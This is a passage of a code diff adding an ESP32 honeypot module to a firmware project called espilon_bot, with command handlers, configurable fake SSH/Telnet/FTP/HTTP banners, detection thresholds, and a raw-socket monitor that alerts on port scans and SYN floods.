||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_wifi <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_wifi(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *action = argv[0];
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_wifi_monitor_start();
|
||||
msg_info(TAG, "wifi_monitor=started", req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_wifi_monitor_stop();
|
||||
msg_info(TAG, "wifi_monitor=stopped", req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_wifi_monitor_status(buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_net <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_net(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *action = argv[0];
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_net_monitor_start();
|
||||
msg_info(TAG, "net_monitor=started", req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_net_monitor_stop();
|
||||
msg_info(TAG, "net_monitor=stopped", req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_net_monitor_status(buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_set <type> <key> <value>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_set(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *type = argv[0];
|
||||
const char *key = argv[1];
|
||||
const char *value = argv[2];
|
||||
|
||||
esp_err_t err;
|
||||
if (strcmp(type, "banner") == 0) {
|
||||
err = hp_config_set_banner(key, value);
|
||||
} else if (strcmp(type, "threshold") == 0) {
|
||||
err = hp_config_set_threshold(key, atoi(value));
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
if (err == ESP_OK) {
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "config_set=%s.%s value=%s", type, key, value);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=config_set_failed", req);
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_get <type> <key>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_get(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *type = argv[0];
|
||||
const char *key = argv[1];
|
||||
|
||||
char buf[256];
|
||||
if (strcmp(type, "banner") == 0) {
|
||||
char val[128];
|
||||
hp_config_get_banner(key, val, sizeof(val));
|
||||
/* Strip newlines for display */
|
||||
for (char *p = val; *p; p++) {
|
||||
if (*p == '\r' || *p == '\n') { *p = '\0'; break; }
|
||||
}
|
||||
snprintf(buf, sizeof(buf), "banner_%s=%s", key, val);
|
||||
} else if (strcmp(type, "threshold") == 0) {
|
||||
int val = hp_config_get_threshold(key);
|
||||
snprintf(buf, sizeof(buf), "threshold_%s=%d", key, val);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_list [type]
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_list(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *filter = (argc > 0) ? argv[0] : "";
|
||||
|
||||
char buf[512];
|
||||
hp_config_list(filter, buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_reset
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_reset(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
esp_err_t err = hp_config_reset_all();
|
||||
if (err == ESP_OK)
|
||||
msg_info(TAG, "config=reset_to_defaults", req);
|
||||
else
|
||||
msg_error(TAG, "error=config_reset_failed", req);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_status
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_status(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
char buf[512];
|
||||
int off = 0;
|
||||
|
||||
/* Services */
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++) {
|
||||
off += snprintf(buf + off, sizeof(buf) - off, "%s=%s ",
|
||||
hp_svc_id_to_name((hp_svc_id_t)i),
|
||||
hp_svc_running((hp_svc_id_t)i) ? "up" : "down");
|
||||
}
|
||||
|
||||
/* Monitors */
|
||||
off += snprintf(buf + off, sizeof(buf) - off, "wifi_mon=%s net_mon=%s",
|
||||
hp_wifi_monitor_running() ? "up" : "down",
|
||||
hp_net_monitor_running() ? "up" : "down");
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_start_all — start all services + monitors
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_start_all(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++)
|
||||
hp_svc_start((hp_svc_id_t)i);
|
||||
hp_wifi_monitor_start();
|
||||
hp_net_monitor_start();
|
||||
|
||||
msg_info(TAG, "all=started", req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_stop_all — stop all services + monitors
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_stop_all(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++)
|
||||
hp_svc_stop((hp_svc_id_t)i);
|
||||
hp_wifi_monitor_stop();
|
||||
hp_net_monitor_stop();
|
||||
|
||||
msg_info(TAG, "all=stopped", req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t hp_cmds[] = {
|
||||
{ "hp_svc", NULL, "Service control", 2, 2, cmd_hp_svc, NULL, false },
|
||||
{ "hp_wifi", NULL, "WiFi monitor", 1, 1, cmd_hp_wifi, NULL, false },
|
||||
{ "hp_net", NULL, "Network monitor", 1, 1, cmd_hp_net, NULL, false },
|
||||
{ "hp_config_set", NULL, "Set config", 3, 3, cmd_hp_config_set, NULL, false },
|
||||
{ "hp_config_get", NULL, "Get config", 2, 2, cmd_hp_config_get, NULL, false },
|
||||
{ "hp_config_list", NULL, "List config", 0, 1, cmd_hp_config_list, NULL, false },
|
||||
{ "hp_config_reset", NULL, "Reset config", 0, 0, cmd_hp_config_reset, NULL, false },
|
||||
{ "hp_status", NULL, "Honeypot status", 0, 0, cmd_hp_status, NULL, false },
|
||||
{ "hp_start_all", NULL, "Start all services", 0, 0, cmd_hp_start_all, NULL, false },
|
||||
{ "hp_stop_all", NULL, "Stop all services", 0, 0, cmd_hp_stop_all, NULL, false },
|
||||
};
|
||||
|
||||
void mod_honeypot_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering honeypot commands");
|
||||
|
||||
hp_config_init();
|
||||
|
||||
for (size_t i = 0; i < sizeof(hp_cmds) / sizeof(hp_cmds[0]); i++) {
|
||||
command_register(&hp_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
8
espilon_bot/components/mod_honeypot/cmd_honeypot.h
Normal file
8
espilon_bot/components/mod_honeypot/cmd_honeypot.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_honeypot.h
|
||||
* Honeypot module public API.
|
||||
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_honeypot_register_commands(void);
|
||||
204
espilon_bot/components/mod_honeypot/hp_config.c
Normal file
204
espilon_bot/components/mod_honeypot/hp_config.c
Normal file
@ -0,0 +1,204 @@
|
||||
/*
|
||||
* hp_config.c
|
||||
* NVS-backed runtime configuration for honeypot services.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "hp_config.h"
|
||||
|
||||
#define TAG "HP_CFG"
|
||||
#define NVS_NS "hp_cfg"
|
||||
|
||||
/* ============================================================
|
||||
* Default banners
|
||||
* ============================================================ */
|
||||
static const struct {
|
||||
const char *service;
|
||||
const char *banner;
|
||||
} default_banners[] = {
|
||||
{ "ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n" },
|
||||
{ "telnet", "\r\nUbuntu 22.04.3 LTS\r\nlogin: " },
|
||||
{ "ftp", "220 ProFTPD 1.3.5e Server (Debian)\r\n" },
|
||||
{ "http", "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" },
|
||||
};
|
||||
#define NUM_BANNERS (sizeof(default_banners) / sizeof(default_banners[0]))
|
||||
|
||||
/* ============================================================
|
||||
* Default thresholds
|
||||
* ============================================================ */
|
||||
static const struct {
|
||||
const char *key;
|
||||
int value;
|
||||
} default_thresholds[] = {
|
||||
{ "portscan", 5 },
|
||||
{ "synflood", 50 },
|
||||
{ "icmp", 10 },
|
||||
{ "udpflood", 100 },
|
||||
{ "arpflood", 50 },
|
||||
{ "tarpit_ms", 2000 },
|
||||
};
|
||||
#define NUM_THRESHOLDS (sizeof(default_thresholds) / sizeof(default_thresholds[0]))
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void hp_config_init(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Config subsystem ready (NVS ns=%s)", NVS_NS);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Banner helpers
|
||||
* ============================================================ */
|
||||
static const char *_default_banner(const char *service)
|
||||
{
|
||||
for (size_t i = 0; i < NUM_BANNERS; i++) {
|
||||
if (strcmp(default_banners[i].service, service) == 0)
|
||||
return default_banners[i].banner;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
|
||||
if (err == ESP_OK) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "b_%s", service);
|
||||
size_t len = out_len;
|
||||
err = nvs_get_str(h, key, out, &len);
|
||||
nvs_close(h);
|
||||
if (err == ESP_OK)
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* Fall back to compile-time default */
|
||||
const char *def = _default_banner(service);
|
||||
snprintf(out, out_len, "%s", def);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
esp_err_t hp_config_set_banner(const char *service, const char *value)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "b_%s", service);
|
||||
err = nvs_set_str(h, key, value);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Threshold helpers
|
||||
* ============================================================ */
|
||||
static int _default_threshold(const char *key)
|
||||
{
|
||||
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
|
||||
if (strcmp(default_thresholds[i].key, key) == 0)
|
||||
return default_thresholds[i].value;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int hp_config_get_threshold(const char *key)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
|
||||
if (err == ESP_OK) {
|
||||
char nkey[16];
|
||||
snprintf(nkey, sizeof(nkey), "t_%s", key);
|
||||
int32_t val = 0;
|
||||
err = nvs_get_i32(h, nkey, &val);
|
||||
nvs_close(h);
|
||||
if (err == ESP_OK)
|
||||
return (int)val;
|
||||
}
|
||||
return _default_threshold(key);
|
||||
}
|
||||
|
||||
esp_err_t hp_config_set_threshold(const char *key, int value)
|
||||
{
|
||||
/* Clamp to sane range */
|
||||
if (value < 1) value = 1;
|
||||
if (value > 10000) value = 10000;
|
||||
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
char nkey[16];
|
||||
snprintf(nkey, sizeof(nkey), "t_%s", key);
|
||||
err = nvs_set_i32(h, nkey, (int32_t)value);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Reset
|
||||
* ============================================================ */
|
||||
esp_err_t hp_config_reset_all(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
err = nvs_erase_all(h);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Config reset to defaults");
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* List
|
||||
* ============================================================ */
|
||||
int hp_config_list(const char *type_filter, char *buf, size_t buf_len)
|
||||
{
|
||||
int off = 0;
|
||||
bool show_banners = (!type_filter || !type_filter[0] ||
|
||||
strcmp(type_filter, "banner") == 0);
|
||||
bool show_thresholds = (!type_filter || !type_filter[0] ||
|
||||
strcmp(type_filter, "threshold") == 0);
|
||||
|
||||
if (show_banners) {
|
||||
for (size_t i = 0; i < NUM_BANNERS; i++) {
|
||||
char val[128];
|
||||
hp_config_get_banner(default_banners[i].service, val, sizeof(val));
|
||||
/* Truncate for display (strip \r\n) */
|
||||
char *p = val;
|
||||
while (*p && *p != '\r' && *p != '\n') p++;
|
||||
*p = '\0';
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"banner_%s=%s ", default_banners[i].service, val);
|
||||
}
|
||||
}
|
||||
|
||||
if (show_thresholds) {
|
||||
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
|
||||
int val = hp_config_get_threshold(default_thresholds[i].key);
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"threshold_%s=%d ", default_thresholds[i].key, val);
|
||||
}
|
||||
}
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
29
espilon_bot/components/mod_honeypot/hp_config.h
Normal file
29
espilon_bot/components/mod_honeypot/hp_config.h
Normal file
@ -0,0 +1,29 @@
|
||||
/*
|
||||
* hp_config.h
|
||||
* NVS-backed runtime configuration for honeypot services.
|
||||
*
|
||||
* Two config types:
|
||||
* "banner" — per-service banner strings (ssh, telnet, ftp, http)
|
||||
* "threshold" — detection thresholds (portscan, synflood, icmp, udpflood, arpflood, tarpit_ms)
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include "esp_err.h"
|
||||
#include <stdint.h>
|
||||
|
||||
/* Initialise NVS namespace (call once at registration time) */
|
||||
void hp_config_init(void);
|
||||
|
||||
/* banner get/set — returns ESP_OK or ESP_ERR_* */
|
||||
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len);
|
||||
esp_err_t hp_config_set_banner(const char *service, const char *value);
|
||||
|
||||
/* threshold get/set */
|
||||
int hp_config_get_threshold(const char *key);
|
||||
esp_err_t hp_config_set_threshold(const char *key, int value);
|
||||
|
||||
/* Reset all config to compile-time defaults */
|
||||
esp_err_t hp_config_reset_all(void);
|
||||
|
||||
/* List all config as key=value pairs into buf (for status responses) */
|
||||
int hp_config_list(const char *type_filter, char *buf, size_t buf_len);
|
||||
331
espilon_bot/components/mod_honeypot/hp_net_monitor.c
Normal file
331
espilon_bot/components/mod_honeypot/hp_net_monitor.c
Normal file
@ -0,0 +1,331 @@
|
||||
/*
|
||||
* hp_net_monitor.c
|
||||
* Network anomaly detector: port scan, SYN flood.
|
||||
*
|
||||
* Uses a raw TCP socket (LWIP) to inspect incoming SYN packets.
|
||||
* Maintains a per-IP tracking table (max 32 entries) with sliding
|
||||
* window counters. Sends HP| events when thresholds are exceeded.
|
||||
*
|
||||
* Note: ARP monitoring requires LWIP netif hooks (layer 2) and is
|
||||
* not possible via raw sockets. May be added via etharp callback later.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
#include "hp_net_monitor.h"
|
||||
|
||||
#define TAG "HP_NET"
|
||||
|
||||
#define NET_MON_STACK 4096
|
||||
#define NET_MON_PRIO 4
|
||||
#define NET_MON_CORE 1
|
||||
|
||||
/* Tracking table */
|
||||
#define MAX_TRACKED_IPS 32
|
||||
#define WINDOW_SEC 10 /* Sliding window for detections */
|
||||
|
||||
/* ============================================================
|
||||
* IP tracker entry
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
uint32_t ip; /* Network byte order */
|
||||
uint32_t first_seen; /* Tick count (ms) */
|
||||
uint32_t last_seen;
|
||||
uint16_t unique_ports[32]; /* Ring buffer of destination ports */
|
||||
uint8_t port_idx;
|
||||
uint8_t port_count;
|
||||
uint32_t syn_count; /* SYN packets in window */
|
||||
bool portscan_alerted;
|
||||
bool synflood_alerted;
|
||||
} ip_tracker_t;
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static atomic_bool net_running = false;
|
||||
static atomic_bool net_stop_req = false;
|
||||
static TaskHandle_t net_task = NULL;
|
||||
|
||||
static SemaphoreHandle_t tracker_mutex = NULL;
|
||||
static ip_tracker_t trackers[MAX_TRACKED_IPS];
|
||||
static int tracker_count = 0;
|
||||
|
||||
static uint32_t total_port_scans = 0;
|
||||
static uint32_t total_syn_floods = 0;
|
||||
|
||||
/* ============================================================
|
||||
* Tracker helpers
|
||||
* ============================================================ */
|
||||
static uint32_t now_ms(void)
|
||||
{
|
||||
return (uint32_t)(xTaskGetTickCount() * portTICK_PERIOD_MS);
|
||||
}
|
||||
|
||||
static void ip_to_str(uint32_t ip_nbo, char *buf, size_t len)
|
||||
{
|
||||
uint8_t *b = (uint8_t *)&ip_nbo;
|
||||
snprintf(buf, len, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]);
|
||||
}
|
||||
|
||||
static ip_tracker_t *find_or_create_tracker(uint32_t ip)
|
||||
{
|
||||
uint32_t now = now_ms();
|
||||
|
||||
/* Search existing */
|
||||
for (int i = 0; i < tracker_count; i++) {
|
||||
if (trackers[i].ip == ip)
|
||||
return &trackers[i];
|
||||
}
|
||||
|
||||
/* Evict oldest if full */
|
||||
if (tracker_count >= MAX_TRACKED_IPS) {
|
||||
int oldest_idx = 0;
|
||||
uint32_t oldest_time = trackers[0].last_seen;
|
||||
for (int i = 1; i < tracker_count; i++) {
|
||||
if (trackers[i].last_seen < oldest_time) {
|
||||
oldest_time = trackers[i].last_seen;
|
||||
oldest_idx = i;
|
||||
}
|
||||
}
|
||||
if (oldest_idx < tracker_count - 1)
|
||||
trackers[oldest_idx] = trackers[tracker_count - 1];
|
||||
tracker_count--;
|
||||
}
|
||||
|
||||
ip_tracker_t *t = &trackers[tracker_count++];
|
||||
memset(t, 0, sizeof(*t));
|
||||
t->ip = ip;
|
||||
t->first_seen = now;
|
||||
t->last_seen = now;
|
||||
return t;
|
||||
}
|
||||
|
||||
static void expire_trackers(void)
|
||||
{
|
||||
uint32_t now = now_ms();
|
||||
uint32_t window = WINDOW_SEC * 1000;
|
||||
|
||||
for (int i = 0; i < tracker_count; ) {
|
||||
if ((now - trackers[i].last_seen) > window * 3) {
|
||||
if (i < tracker_count - 1)
|
||||
trackers[i] = trackers[tracker_count - 1];
|
||||
tracker_count--;
|
||||
} else {
|
||||
if ((now - trackers[i].first_seen) > window) {
|
||||
trackers[i].syn_count = 0;
|
||||
trackers[i].port_count = 0;
|
||||
trackers[i].port_idx = 0;
|
||||
trackers[i].first_seen = now;
|
||||
trackers[i].portscan_alerted = false;
|
||||
trackers[i].synflood_alerted = false;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool port_already_seen(ip_tracker_t *t, uint16_t port)
|
||||
{
|
||||
for (int i = 0; i < t->port_count && i < 32; i++) {
|
||||
if (t->unique_ports[i] == port)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Event recording
|
||||
* ============================================================ */
|
||||
static void record_syn(uint32_t src_ip, uint16_t dst_port)
|
||||
{
|
||||
if (!tracker_mutex ||
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) != pdTRUE)
|
||||
return;
|
||||
|
||||
ip_tracker_t *t = find_or_create_tracker(src_ip);
|
||||
t->last_seen = now_ms();
|
||||
t->syn_count++;
|
||||
|
||||
/* Track unique ports for portscan detection */
|
||||
if (!port_already_seen(t, dst_port)) {
|
||||
t->unique_ports[t->port_idx % 32] = dst_port;
|
||||
t->port_idx++;
|
||||
t->port_count++;
|
||||
}
|
||||
|
||||
/* Snapshot values before releasing mutex */
|
||||
uint8_t port_count = t->port_count;
|
||||
uint32_t syn_count = t->syn_count;
|
||||
bool ps_alerted = t->portscan_alerted;
|
||||
bool sf_alerted = t->synflood_alerted;
|
||||
|
||||
int ps_thresh = hp_config_get_threshold("portscan");
|
||||
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
|
||||
t->portscan_alerted = true;
|
||||
total_port_scans++;
|
||||
}
|
||||
|
||||
int sf_thresh = hp_config_get_threshold("synflood");
|
||||
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
|
||||
t->synflood_alerted = true;
|
||||
total_syn_floods++;
|
||||
}
|
||||
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
|
||||
/* Send events outside mutex to avoid blocking */
|
||||
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
|
||||
char ip_str[16];
|
||||
ip_to_str(src_ip, ip_str, sizeof(ip_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "unique_ports=%d window=%ds",
|
||||
port_count, WINDOW_SEC);
|
||||
event_send("PORT_SCAN", "HIGH", "00:00:00:00:00:00",
|
||||
ip_str, 0, 0, detail, NULL);
|
||||
}
|
||||
|
||||
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
|
||||
char ip_str[16];
|
||||
ip_to_str(src_ip, ip_str, sizeof(ip_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "syn_count=%lu window=%ds",
|
||||
(unsigned long)syn_count, WINDOW_SEC);
|
||||
event_send("SYN_FLOOD", "CRITICAL", "00:00:00:00:00:00",
|
||||
ip_str, 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Raw socket listener task
|
||||
* ============================================================ */
|
||||
static void net_monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if (raw_fd < 0) {
|
||||
ESP_LOGE(TAG, "raw socket failed: %d", errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
|
||||
setsockopt(raw_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
ESP_LOGI(TAG, "Network monitor started");
|
||||
net_running = true;
|
||||
|
||||
uint8_t pkt_buf[128];
|
||||
|
||||
while (!net_stop_req) {
|
||||
struct sockaddr_in src_addr;
|
||||
socklen_t addr_len = sizeof(src_addr);
|
||||
int n = recvfrom(raw_fd, pkt_buf, sizeof(pkt_buf), 0,
|
||||
(struct sockaddr *)&src_addr, &addr_len);
|
||||
|
||||
if (n > 0) {
|
||||
uint8_t ihl = (pkt_buf[0] & 0x0F) * 4;
|
||||
if (ihl < 20 || n < ihl + 20)
|
||||
goto next;
|
||||
|
||||
uint8_t *tcp = pkt_buf + ihl;
|
||||
uint16_t dst_port = (tcp[2] << 8) | tcp[3];
|
||||
uint8_t flags = tcp[13];
|
||||
|
||||
/* SYN set, ACK not set → connection initiation */
|
||||
if ((flags & 0x02) && !(flags & 0x10)) {
|
||||
record_syn(src_addr.sin_addr.s_addr, dst_port);
|
||||
}
|
||||
}
|
||||
|
||||
next:
|
||||
if (tracker_mutex &&
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
|
||||
expire_trackers();
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
close(raw_fd);
|
||||
|
||||
done:
|
||||
net_running = false;
|
||||
net_stop_req = false;
|
||||
ESP_LOGI(TAG, "Network monitor stopped");
|
||||
net_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_net_monitor_start(void)
|
||||
{
|
||||
if (net_running || net_task) {
|
||||
ESP_LOGW(TAG, "Network monitor already running");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!tracker_mutex)
|
||||
tracker_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
tracker_count = 0;
|
||||
total_port_scans = total_syn_floods = 0;
|
||||
memset(trackers, 0, sizeof(trackers));
|
||||
net_stop_req = false;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(net_monitor_task, "hp_net",
|
||||
NET_MON_STACK, NULL, NET_MON_PRIO, &net_task, NET_MON_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create net monitor task");
|
||||
net_task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_net_monitor_stop(void)
|
||||
{
|
||||
if (!net_running && !net_task) {
|
||||
ESP_LOGW(TAG, "Network monitor not running");
|
||||
return;
|
||||
}
|
||||
net_stop_req = true;
|
||||
ESP_LOGI(TAG, "Network monitor stop requested");
|
||||
}
|
||||
|
||||
bool hp_net_monitor_running(void)
|
||||
{
|
||||
return net_running;
|
||||
}
|
||||
|
||||
int hp_net_monitor_status(char *buf, size_t len)
|
||||
{
|
||||
int count = 0;
|
||||
if (tracker_mutex &&
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
|
||||
count = tracker_count;
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
}
|
||||
|
||||
return snprintf(buf, len,
|
||||
"running=%s tracked_ips=%d port_scans=%lu syn_floods=%lu",
|
||||
net_running ? "yes" : "no",
|
||||
count,
|
||||
(unsigned long)total_port_scans,
|
||||
(unsigned long)total_syn_floods);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
13
espilon_bot/components/mod_honeypot/hp_net_monitor.h
Normal file
13
espilon_bot/components/mod_honeypot/hp_net_monitor.h
Normal file
@ -0,0 +1,13 @@
|
||||
/*
|
||||
* hp_net_monitor.h
|
||||
* Network anomaly detector: port scan, SYN flood, ARP flood/spoof.
|
||||
* Runs a periodic task that inspects counters updated from raw sockets.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
void hp_net_monitor_start(void);
|
||||
void hp_net_monitor_stop(void);
|
||||
bool hp_net_monitor_running(void);
|
||||
int hp_net_monitor_status(char *buf, size_t len);
|
||||
204
espilon_bot/components/mod_honeypot/hp_tcp_services.c
Normal file
204
espilon_bot/components/mod_honeypot/hp_tcp_services.c
Normal file
